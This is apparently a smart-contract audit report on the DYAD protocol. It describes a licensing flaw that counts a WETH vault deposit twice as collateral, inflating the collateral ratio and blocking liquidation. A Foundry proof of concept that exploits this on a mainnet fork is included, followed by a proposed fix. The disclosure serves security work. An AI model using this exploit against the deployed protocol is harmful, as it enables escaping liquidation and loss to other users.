# Double collateral counting. Vault Manager depend on `KerosineManager.isLicensed()` is a mistake. Causing wrong TVL calculation and preventing liquidation of bad loan

TVL calculation: `Total Collateral USD value = non-Kerosene vault deposit + KEROSINE vault deposit`
User can borrow DYAD stable coin using **non-Kerosene vault** deposit as collateral.

If user deposit some KEROSINE token, it help user from liquidation.
Because CollateralRatio using both nonKerosene and KEROSINE as collateral.
While minting stable DYAD only use non-Kerosene vault like WETH vault.

The underlying problem with current codebase is `KerosineManager` license consider non-Kerosene vault as Kerosene vault.
This result in: `Total Collateral USD value = non-Kerosene vault deposit + non-Kerosene vault deposit`

## Impact

Non-Kerosene vault is calculated twice as collateral.
User can exploit inflated CollateralRatio to twice value of "actual" CollateralRatio.

Preventing liquidation from happening with bad loan.

## Proof of Concept

```solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";

contract V2Test is Test, Parameters {
  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    vm.startPrank(MAINNET_OWNER);
    //include boundedKerosineVault
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));
    // Add vaultManagerV2 to v1 licenser so it can mint DYAD
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
    vm.stopPrank();

  }
  function testBorrowTwiceDeposit() public {
    address user = address(0x11111);
    vm.startPrank(user);
    deal(user, 100 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed
    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);
    vaultManagerV2.add(id, address(contracts.ethVault));
    //deposit
    deal(MAINNET_WETH, user, 10 ether);
    vaultManagerV2.deposit(id, address(contracts.ethVault), 10 ether);    

    //10 ETH with  3100$ price = 31000$ total TVL
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));
    // borrow 6.66 ETH worth of DYAD. //max borrow = totalTVL / 1.5
    uint maxBorrow = (vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.5e18) - 1;
    console.log("maxBorrow DYAD %e", maxBorrow);
    vaultManagerV2.mintDyad(id, maxBorrow ,user);
    console.log("collatRatio %e", vaultManagerV2.collatRatio(id));

    console.log("add kerosene vault");
    //after add kerosene vault. TVL now double.
    vaultManagerV2.addKerosene(id, address(contracts.ethVault));    
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));

    //liquidation now impossible due to collatRatio just become double while debt stay the same.
    // collateral ratio is <100%. user profit from borrowing
    console.log("collatRatio %e", vaultManagerV2.collatRatio(id));
    vm.stopPrank();
  }
}
```

## Tools Used

<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/KerosineManager.sol#L44-L51>
<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L269-L286>
<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L105-L106>
<https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L88>

## Recommended Mitigation Steps

Do not use `KeroseneManager` as licenser.
Use sepatate `Licenser.sol` contract.
`KerosineManager` should only be used to calculate total TVL of non-kerosene Vault from both V1 and V2 vaults.

```solidity
// src\core\VaultManagerV2.sol
  Licenser public immutable vaultLicenser;
+++  Licenser public immutable keroseneVaultLicenser;
  
  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
---    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+++    if (!keroseneVaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }
```

```solidity
// script\deploy\Deploy.V2.s.sol

---    kerosineManager.add(address(ethVault));
---    kerosineManager.add(address(wstEth));
// use different licenser contract
+++    Licenser keroseneVaultLicenser = new Licenser();
+++    keroseneVaultLicenser.add(address(ethVault));
+++    keroseneVaultLicenser.add(address(wstEth));
```